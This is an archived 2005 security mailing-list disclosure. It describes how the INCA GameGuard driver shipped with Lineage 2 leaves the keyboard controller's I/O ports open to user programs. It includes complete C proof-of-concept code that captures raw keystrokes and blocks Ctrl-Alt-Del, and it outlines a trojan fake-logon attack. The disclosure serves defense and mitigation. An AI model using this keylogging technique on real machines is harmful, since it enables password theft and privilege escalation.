<<< Date Index >>>     <<< Thread Index >>>

Re: Unrestricted I/O access vulnerability in INCA Gameguard



In-Reply-To: <000001c4fc2b$bfd81820$6101a8c0@sauron>

On January 26 2005, NCsoft updated their Lineage 2 client for the North 
American and European market to include the GameGuard system.

The GameGuard system includes an updated version of the NPPTNT2.SYS driver 
(2005.1.5.1). The updated driver no longer opens all I/O ports on demand to a 
user mode process. However, it still opens two port ranges: 0x40-0x47 and 
0x60-x067.

The port range 0x60-0x67 allows access to the 8042 keyboard and mouse 
controller. This access still represents a security vulnerability, as a trojan 
can use the driver to intercept all keyboard input to the system before the OS 
sees the input. This includes the Ctrl-Alt-Del Secure Attention Sequence, which 
is never passed to applications in the OS design.

Using GameGuard, a trojan could create a fake logon screen to the operating 
system, and get hold of usernames and passwords, and use those to elevate its 
privilege on the system. The operating system safeguard of pressing the Secure 
Attention Sequence Ctrl-Alt-Del to get to a genuine logon screen is bypassed.

The attached proof of concept code shows a simple program that intercepts 100 
keyboard scan codes and displays them on screen. While the program is running, 
Ctrl-Alt-Del is intercepted by the program and does not bring up the security 
dialog or task manager.

Also, if the attached proof of concept code is run concurrently with Lineage 2 
with Gameguard, the proof of concept program successfully intercepts all input. 
There is a risk that the proof of concept may have side effects such as 
disabling your mouse or resetting your computer, so please save any work before 
running it. The trade off is simplicity and clarity in the proof of concept.

In our testing we have found that PS/2 keyboards are affected as they use the 
8042 controller, however USB keyboards are not as the OS uses the USB and HID 
driver stack to process input from them. We would recommend using a USB 
keyboard, and disconnecting it from the PS/2 port if it has both USB and PS/2 
connections.

// NPPTNT2keylog.cpp : Defines the entry point for the console application.
//


#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from 
Windows headers
#include <stdio.h>
#include <tchar.h>

#include <windows.h>
#include <winioctl.h>
#include <conio.h>


int main(int argc, char* argv[])
{
        puts("Opening \\\\.\\NPPTNT2\r");
        HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL, 0);

        if (hFile != INVALID_HANDLE_VALUE)
        {               
                puts("Calling DeviceIoControl\r");
                DWORD dwRet = 0;
                // Take this line out and the _inp will give you an AV
                DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);

                // Read the status register
                int StatusRegister = _inp(0x64);

                printf("Status Register: %02X\n", StatusRegister);

                // Output the read command byte command
                _outp(0x64, 0x20);

                // Read the command bytes
                int CurrentCommandByte = _inp(0x60);

                printf("Current Command Byte: %02X\n", CurrentCommandByte);

                // Disable interrupts by masking off bit 0
                CurrentCommandByte &= 0xFE;

                // Output the write command byte command
                _outp(0x64, 0x60);

                // Output the new command byte
                _outp(0x60, CurrentCommandByte);

                puts("Type now and try 'E' or 'J' to exit, or Ctrl-C\r");

                // Run for hundred scan codes or less
                // (arbitrary termination condition)
                for (int i = 0 ; i < 100; i++)
                {
                        // Wait on bit 0 to go high
                        while ((_inp(0x64) & 0x01) == 0);

                        // Read the scan code from the keyboard
                        int nVal = _inp(0x60);

                        // Scan code 0x24 - Either 'E' or 'J' depending
                        // on which set of scan codes the keyboard is using
                        // Exit early on this key
                        if (nVal == 0x24)
                                break;

                        // list out the hex value of the scan code
                        printf("0x%02X ", nVal);
                }

                CloseHandle(hFile);
        }
        else
        {
                puts("Driver not found\r");
        }

        return 0;
}